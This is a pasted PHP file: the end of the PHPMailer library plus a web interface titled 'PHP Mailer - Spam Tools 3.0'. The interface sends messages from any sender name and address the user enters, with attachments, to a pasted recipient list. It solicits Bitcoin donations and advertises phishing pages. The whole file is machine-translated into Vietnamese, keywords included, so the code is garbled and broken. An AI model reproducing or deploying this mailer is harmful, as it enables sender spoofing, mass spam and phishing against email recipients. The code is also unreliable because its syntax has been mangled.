  3717. if ((0x21 <= $ ord) && ($ ord <= 0x3A)) || $ ord == 0x3C || ((0x3E <= $ ord) && ($ ord <= 0x7E))) {
  3718. $ line. = $ txt [$ i];
  3719. } else {
  3720. $ line. = '='. sprintf ('% 02X', $ ord);
  3721. }
  3722. }
  3723. return $ line;
  3724. }
  3725.  
  3726. / **
  3727. * Tạo một chữ ký DKIM.
  3728. * @ truy cập công cộng
  3729. * @param string $ signHeader
  3730. * @throws phpmailerException
  3731. * chuỗi trả về
  3732. * /
  3733. chức năng công cộng DKIM_Sign ($ signHeader)
  3734. {
  3735. if (! defined ('PKCS7_TEXT')) {
  3736. if ($ this-> exceptions) {
  3737. ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl');
  3738. }
  3739. trở về '';
  3740. }
  3741. $ privKeyStr = file_get_contents ($ this-> DKIM_private);
  3742. if ($ this-> DKIM_passphrase! = '') {
  3743. $ privKey = openssl_pkey_get_private ($ privKeyStr, $ this-> DKIM_passphrase);
  3744. } else {
  3745. $ privKey = $ privKeyStr;
  3746. }
  3747. if (openssl_sign ($ signHeader, $ signature, $ privKey)) {
  3748. return base64_encode (chữ ký $);
  3749. }
  3750. trở về '';
  3751. }
  3752.  
  3753. / **
  3754. * Tạo tiêu đề chuẩn hóa DKIM.
  3755. * @ truy cập công cộng
  3756. * @param string $ signHeader Tiêu đề
  3757. * chuỗi trả về
  3758. * /
  3759. chức năng công cộng DKIM_HeaderC ($ signHeader)
  3760. {
  3761. $ signHeader = preg_replace ('/ \ r \ n \ s + /', '', $ signHeader);
  3762. $ lines = explode ("\ r \ n", $ signHeader);
  3763. foreach ($ dòng như $ key => $ line) {
  3764. ($ heading, $ value) = nổ (':', $ dòng, 2);
  3765. $ heading = strtolower ($ heading);
  3766. $ value = preg_replace ('/ \ s + /', '', $ value); // Nén không gian vô dụng
  3767. $ lines [$ key] = $ heading. ':'. trang trí ($ giá trị); / / Đừng quên để loại bỏ WSP xung quanh giá trị
  3768. }
  3769. $ signHeader = impode ("\ r \ n", $ lines);
  3770. return $ signHeader;
  3771. }
  3772.  
  3773. / **
  3774. * Tạo ra một cơ chế chuẩn hóa DKIM.
  3775. * @ truy cập công cộng
  3776. * @param string $ body Cơ quan thông báo
  3777. * chuỗi trả về
  3778. * /
  3779. chức năng công cộng DKIM_BodyC ($ body)
  3780. {
  3781. if ($ body == '') {
  3782. trở lại "\ r \ n";
  3783. }
  3784. / / ổn định kết thúc dòng
  3785. $ body = str_replace ("\ r \ n", "\ n", $ body);
  3786. $ body = str_replace ("\ n", "\ r \ n", $ body);
  3787. // END ổn định kết thúc dòng
  3788. trong khi (substr ($ body, strlen ($ body) - 4, 4) == "\ r \ n \ r \ n") {
  3789. $ body = substr ($ cơ thể, 0, strlen ($ cơ thể) - 2);
  3790. }
  3791. trở lại $ cơ thể;
  3792. }
  3793.  
  3794. / **
  3795. * Tạo tiêu đề và phần thân của DKIM trong tiêu đề thư mới.
  3796. * @ truy cập công cộng
  3797. * @param chuỗi $ headers_line dòng tiêu đề
  3798. * @param string $ subject Chủ đề
  3799. * @param chuỗi $ cơ thể Body
  3800. * chuỗi trả về
  3801. * /
  3802. chức năng công cộng DKIM_Add ($ headers_line, $ subject, $ body)
  3803. {
  3804. $ DKIMsignatureType = 'rsa-sha1'; / Chữ ký và thuật toán băm
  3805. $ DKIMcanonicalization = 'thoải mái / đơn giản'; / / Canonicalization của tiêu đề / cơ thể
  3806. $ DKIMquery = 'dns / txt'; // Phương thức truy vấn
  3807. $ DKIMtime = thời gian (); // Dấu chấm Chữ ký = giây kể từ 00:00:00 - ngày 1 tháng 1 năm 1970 (múi giờ UTC)
  3808. $ subject_header = "Chủ đề: $ môn học";
  3809. $ headers = explode ($ this-> LE, $ headers_line);
  3810. $ from_header = '';
  3811. $ to_header = '';
  3812. $ hiện tại = '';
  3813. foreach ($ tiêu đề như tiêu đề $) {
  3814. if (strpos ($ header, 'From:') === 0) {
  3815. $ from_header = tiêu đề $;
  3816. $ current = 'from_header';
  3817. } elseif (strpos ($ header, 'To:') === 0) {
  3818. $ to_header = tiêu đề $;
  3819. $ current = 'to_header';
  3820. } else {
  3821. if (! empty ($$ current) && strpos ($ header, '=?') === 0) {
  3822. $$ current. = $ header;
  3823. } else {
  3824. $ hiện tại = '';
  3825. }
  3826. }
  3827. }
  3828. $ from = str_replace ('|', '= 7C', $ this-> DKIM_QP ($ from_header));
  3829. $ to = str_replace ('|', '= 7C', $ this-> DKIM_QP ($ to_header));
  3830. $ subject = str_replace (
  3831. '|',
  3832. '= 7C',
  3833. $ this-> DKIM_QP ($ subject_header)
  3834. ); // Các trường tiêu đề được sao chép (dkim-quoted-printable)
  3835. $ body = $ this-> DKIM_BodyC ($ body);
  3836. $ DKIMlen = strlen ($ cơ thể); // Chiều dài thân
  3837. $ DKIMb64 = base64_encode (gói ('H *', sha1 ($ body)))); / / Base64 của nhị phân SHA-1 băm nhị phân đóng gói của cơ thể
  3838. if ('' == $ this-> DKIM_identity) {
  3839. $ ident = '';
  3840. } else {
  3841. $ ident = 'i ='. $ this-> DKIM_identity. ';';
  3842. }
  3843. $ dkimhdrs = 'DKIM-Chữ ký: v = 1; a = '.
  3844. $ DKIMsignatureType. '; q = '.
  3845. $ DKIMquery. '; l = '.
  3846. $ DKIMlen. '; s = '.
  3847. $ this-> DKIM_selector.
  3848. "; \ r \ n".
  3849. "\ tt =". $ DKIMtime. '; c = '. $ DKIMcanon hoá. "; \ r \ n".
  3850. "\ th = Từ: Tới: Tiêu đề; \ r \ n".
  3851. "\ td =". $ this-> DKIM_domain. ';' . $ ident. "\ r \ n".
  3852. "\ tz = $ từ \ r \ n".
  3853. "\ t | $ to \ r \ n".
  3854. "\ t | $ chủ đề; \ r \ n".
  3855. "\ tbh =". $ DKIMb64. "; \ r \ n".
  3856. "\ tb =";
  3857. $ toSign = $ this-> DKIM_HeaderC (
  3858. $ from_header. "\ r \ n".
  3859. $ to_header. "\ r \ n".
  3860. $ subject_header. "\ r \ n".
  3861. $ dkimhdrs
  3862. );
  3863. $ signed = $ this-> DKIM_Sign ($ toSign);
  3864. trả lại $ dkimhdrs. $ ký. "\ r \ n";
  3865. }
  3866.  
  3867. / **
  3868. * Phát hiện nếu một chuỗi chứa một dòng dài hơn chiều dài dòng tối đa cho phép.
  3869. * @param chuỗi $ str
  3870. * @ boolean trở lại
  3871. * tĩnh
  3872. * /
  3873. chức năng tĩnh công cộng cóLineLongerThanMax ($ str)
  3874. {
  3875. // + 2 để bao gồm CRLF ngắt dòng cho tổng số 1000
  3876. return (boolean) preg_match ('/ ^ (. {'. (Tự: MAX_LINE_LENGTH + 2). ',}) / m', $ str);
  3877. }
  3878.  
  3879. / **
  3880. * Cho phép truy cập công khai vào tài sản 'to'.
  3881. * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
  3882. * @ truy cập công cộng
  3883. * mảng trả về
  3884. * /
  3885. các hàm công cộng getToAddresses ()
  3886. {
  3887. trả lại $ this-> to;
  3888. }
  3889.  
  3890. / **
  3891. * Cho phép truy cập công khai vào tài sản 'cc'.
  3892. * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
  3893. * @ truy cập công cộng
  3894. * mảng trả về
  3895. * /
  3896. getCcAddresses chức năng công cộng ()
  3897. {
  3898. return $ this-> cc;
  3899. }
  3900.  
  3901. / **
  3902. * Cho phép truy cập công khai vào tài sản 'bcc'.
  3903. * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
  3904. * @ truy cập công cộng
  3905. * mảng trả về
  3906. * /
  3907. getBccAddresses chức năng công cộng ()
  3908. {
  3909. trả lại $ this-> bcc;
  3910. }
  3911.  
  3912. / **
  3913. * Cho phép truy cập công cộng vào tài sản 'Trả lời'.
  3914. * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
  3915. * @ truy cập công cộng
  3916. * mảng trả về
  3917. * /
  3918. công chức getReplyToAddresses ()
  3919. {
  3920. return $ this-> ReplyTo;
  3921. }
  3922.  
  3923. / **
  3924. * Cho phép quyền truy cập công khai vào thuộc tính 'all_recipients'.
  3925. * @ Lưu ý: Trước khi gửi () cuộc gọi, các địa chỉ xếp hàng (ví dụ với IDN) chưa được đưa vào.
  3926. * @ truy cập công cộng
  3927. * mảng trả về
  3928. * /
  3929. công chức getAllRecipientAddresses ()
  3930. {
  3931. trả lại $ this-> all_recipients;
  3932. }
  3933.  
  3934. / **
  3935. * Thực hiện gọi lại.
  3936. * @param boolean $ isSent
  3937. * @param mảng $ đến
  3938. * @param mảng $ cc
  3939. * @param mảng $ bcc
  3940. * @param string $ subject
  3941. * @param chuỗi $ cơ thể
  3942. * @param chuỗi $ từ
  3943. * /
  3944. chức năng bảo vệ doCallback ($ isSent, $ to, $ cc, $ bcc, $ chủ đề, $ cơ thể, $ từ)
  3945. {
  3946. if (! empty ($ this-> action_function) && is_callable ($ this-> action_function)) {
  3947. $ params = mảng ($ isSent, $ to, $ cc, $ bcc, $ chủ đề, $ cơ thể, $ từ);
  3948. call_user_func_array ($ this-> action_function, $ params);
  3949. }
  3950. }
  3951. }
  3952.  
  3953. / **
  3954. * Trình xử lý ngoại lệ PHPMailer
  3955. * @package PHPMailer
  3956. * /
  3957. class phpmailerException mở rộng ngoại lệ
  3958. {
  3959. / **
  3960. * Prettify đầu ra thông báo lỗi
  3961. * chuỗi trả về
  3962. * /
  3963. hàm công cộng errorMessage ()
  3964. {
  3965. $ errorMsg = '<strong>'. $ this-> getMessage (). "</ strong> <br /> \ n";
  3966. return $ errorMsg;
  3967. }
  3968. }
  3969.  
  3970. in '
  3971. <head>
  3972. <title> PHP Mailer - Công cụ Spam 3.0 </ title>
  3973. <meta http-equiv = "Content-Type" content = "text / html; charset = utf-8" />
  3974. <link href = "https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel = "stylesheet">
  3975. <script src = "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"> </ script>
  3976. <script type = "text / javascript" src = "https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"> </ script>
  3977. <script type = "text / javascript" src = "https://blockchain.info/Resources/js/pay-now-button.js"> </ script>
  3978.  
  3979. </ head> ';
  3980.  
  3981. in '<body>';
  3982. in '<div class = "container col-lg-6">
  3983. <h3> <font color = "black"> <span class = "glyphicon glyphicon-envelope"> </ span> </ font> PHP Mailer - Các công cụ chống spam <small>. $ tools ['version']. '< / small> </ h3>
  3984. <form name = "form" id = "form" method = "POST" enctype = "multipart / form-data" action = "">
  3985. <div class = "row">
  3986. <div class = "form-group col-lg-6"> <label for = "senderEmail"> Người gửi email </ label> <input type = "text" class = "form-control input-sm" id = "senderEmail "name =" senderEmail "value =" '. $ senderEmail.' "> </ div>
  3987. <div class = "form-group col-lg-6"> <label for = "senderName"> tên người gửi </ label> <input type = "text" class = "form-control input-sm" id = "senderName "name =" senderName "value =" '. $ senderName.' "> </ div>
  3988. </ div>
  3989. <div class = "row">
  3990. <span class = "form-group col-lg-6"> <label for = "attachment"> Tệp đính kèm <nhỏ> (Nhiều Có) </ small> </ label> <input type = "file" name = "attachment [] "id =" tệp đính kèm [] "nhiều /> </ span>
  3991.  
  3992. <div class = "form-group col-lg-6"> <label cho = "replyTo"> Trả lời </ label> <input type = "text" class = "form-control input-sm" id = " trả lời "name =" replyTo "value =" '. $ replyTo.' "/> </ div>
  3993. </ div>
  3994. <div class = "row">
  3995. <div class = "form-group col-lg-12"> <label for = "subject"> Chủ thể của thông điệp </ label> <input type = "text" class = "form-control input-sm" id = "chủ đề" name = "subject" value = "'. $ subject.'" /> </ div>
  3996. </ div>
  3997. <div class = "row">
  3998. <div class = "form-group col-lg-6"> <label for = "messageLetter"> Thư Thông báo </ label> <textarea name = "messageLetter" id = "messageLetter" class = "form-control" rows = "10" id = "textArea"> '. $ MessageLetter.' </ Textarea> </ div>
  3999. <div class = "form-group col-lg-6"> <label for = "emailList"> Danh sách email của bạn </ label> <textarea name = "emailList" id = "emailList" class = "form-control" = "10" id = "textArea"> '. $ EmailList.' </ Textarea> </ div>
  4000. </ div>
  4001. <div class = "row">
  4002. <div class = "form-group col-lg-6">
  4003. <label for = "messageType"> Loại tin nhắn </ label>
  4004. HTML <input type = "radio" name = "messageType" id = "messageType" value = "1" '. $ Html.'>
  4005. Đồng bằng <nhập type = "radio" name = "messageType" id = "messageType" value = "2" '. $ Plain'>
  4006. </ div>
  4007. <div class = "form-group col-lg-3">
  4008. <label for = "encode"> Mã hóa loại </ label>
  4009. <select class = "form-control đầu vào-sm" id = "mã hóa" name = "encode">
  4010. <option value = "UTF-8" selected> UTF-8 Encode </ option>
  4011. <option value = "UTF-8"> ISO Encode </ option>
  4012. </ select>
  4013. </ div>
  4014. </ div>
  4015. <button type = "submit" class = "btn btn-default btn-sm" form = "form" name = "hành động" value = "gửi"> gửi </ nút>
  4016.  
  4017. </ form>
  4018. </ div>
  4019. <div class = "col-lg-6"> <br>
  4020. <label for = "well"> HƯỚNG D FORN S US DỤNG! </ label>
  4021. <div id = "well" class = "well well">
  4022.  
  4023. <h4> HOÀN THÀNH Hoa Kỳ </ h4>
  4024. <ul>
  4025. <b> Tôi cần tiền để có một cuộc sống tốt đẹp với gia đình tôi. Mỗi khi bạn cho tôi tiền, điều này có nghĩa là tôi có thể dành thời gian để thực hiện các công cụ mới như thế này hoặc nhiều người khác mà bạn và những người khác có thể sử dụng chúng miễn phí. <br /> Hiển thị sự đánh giá của bạn. Đóng góp bất kỳ số tiền nào bạn muốn! </ B>
  4026. <div style = "font-size: 16px, lề: 0 tự động, chiều rộng: 300px" class = "blockchain-btn"
  4027. data-address = "1BYs7eb9ted3dnwwbu1LKLMVaMC68zN153"
  4028. data-shared = "false">
  4029. <div class = "blockchain stage-begin">
  4030. <img src = "https://blockchain.info/Resources/buttons/donate_64.png" />
  4031. </ div>
  4032. <div class = "blockchain stage-loading" style = "text-align: center">
  4033. <img src = "https://blockchain.info/Resources/loading-large.gif" />
  4034. </ div>
  4035. <div class = "blockchain stage-ready">
  4036. <p> </ p> <p class = "storytext"> </ p> <p>
  4037. <p align = "center" class = "qr-code"> </ p>
  4038. </ div>
  4039. <div class = "blockchain stage-paid">
  4040. Tài trợ của <b> [[giá trị]] BTC </ b> Đã nhận. Cảm ơn bạn.
  4041. </ div>
  4042. <div class = "blockchain stage-error">
  4043. <font color = "red"> [[lỗi]] </ font>
  4044. </ div>
  4045. </ div>
  4046. </ ul>
  4047. <h4> Giúp đỡ </ h4>
  4048. <ul>
  4049. <li> [- email-]: <b> Gửi lại Email </ b> </ li>
  4050. <li> [- time-]: <b> Ngày và giờ </ b> ('.date ("m / d / Y h: i: s a", time ()).') </ li>
  4051. <li> [- emailuser-]: <b> Người dùng Email </ b> (emailuser @ emaildomain) </ li>
  4052. <li> [- randomstring-]: <b> Chuỗi ngẫu nhiên (0-9, az) </ b> </ li>
  4053. <li> [- số ngẫu nhiên-]: <b> số ngẫu nhiên (0-9) </ b> </ li>
  4054. <li> [- randomletters-]: <b> Các lá thư ngẫu nhiên (az) </ b> </ li>
  4055. <li> [- randommd5-]: <b> MD5 ngẫu nhiên </ b> </ li>
  4056. </ ul>
  4057. <h4> ví dụ </ h4>
  4058. Email Reciver = <b> user@domain.com </ b> <br>
  4059. <ul>
  4060. <li> chào <b> [- emailuser -] </ b> -> chào <b> người dùng </ b> </ li>
  4061. <li> mã của bạn là <b> [- randommd5 -] </ b> -> mã của bạn là <b> e10adc3949ba59abbe56e057f20f883e </ b> </ li>
  4062. </ ul>
  4063. <h4> Tin tức, Liên hệ, Trang lừa đảo, Công cụ Miễn phí </ h4>
  4064. <ul>
  4065. '. $ tools [' listtools '].'
  4066.  
  4067. </ ul>
  4068. </ div>
  4069. </ div> ';
  4070.  
  4071. if ($ _ POST ['action'] == "send") {
  4072. in '<div class = "col-lg-12">';
  4073. $ maillist = nổ ("\ r \ n", $ emailList);
  4074. $ n = count ($ maillist);
  4075. $ x = 1;
  4076. foreach ($ maillist as email $) {
  4077. print '<div class = "col-lg-1"> ['. $ x. '/'. $ n. '] </ div> <div class = "col-lg-5">'. $ email. '/ div>';
  4078. if (! spamtoolsMailCheck ($ email)) {
  4079. print '<div class = "col-lg-6"> <span class = "nhãn nhãn mặc định"> Email không chính xác </ span> </ div>';
  4080. in "\ r \ n";
  4081. }
  4082. else {
  4083. $ mail = new PHPMailer;
  4084. $ mail-> setFrom (spamtoolsClear ($ senderEmail, $ email), spamtoolsClear ($ senderName, $ email));
  4085. $ mail-> addReplyTo (spamtoolsClear ($ replyTo, $ email));
  4086. $ mail-> addAddress ($ email);
  4087. $ mail-> Chủ đề = spamtoolsClear ($ môn học, $ email);
  4088. $ mail-> Body = spamtoolsClear ($ messageLetter, $ email);
  4089. $ mail-> CharSet = $ mã hoá;
  4090. for ($ i = 0; $ i <count ($ _ FILES ['attachment'] ['name']); $ i ++) {
  4091. if ($ _FILES ['attachment'] ['tmp_name'] [$ i]! = "") {
  4092. $ mail-> AddAttachment ($ _ FILES ['attachment'] ['tmp_name'] [$ i], $ _ FILES ['attachment'] ['name'] [$ i]);
  4093. }
  4094.  
  4095. }
  4096. if ($ messageType == 1) {$ mail-> IsHTML (đúng);}
  4097. else {$ mail-> IsHTML (sai);}
  4098. if ($ mail-> send ()) {
  4099. echo '<div class = "col-lg-6"> <span class = "nhãn label-default">'. $ mail-> ErrorInfo. '</ span> </ div>';
  4100. }
  4101. else {
  4102. echo '<div class = "col-lg-6"> <span class = "nhãn nhãn hiệu thành công"> Ok </ span> </ div>';
  4103. }
  4104. in "\ r \ n";
  4105. }
  4106. $ x ++;
  4107. cho ($ k = 0; $ k <40000; $ k ++) {echo '';}
  4108. }
  4109.  
  4110. }
  4111. in '</ body>';
  4112. ?>
Add Comment
Please, Sign In to add comment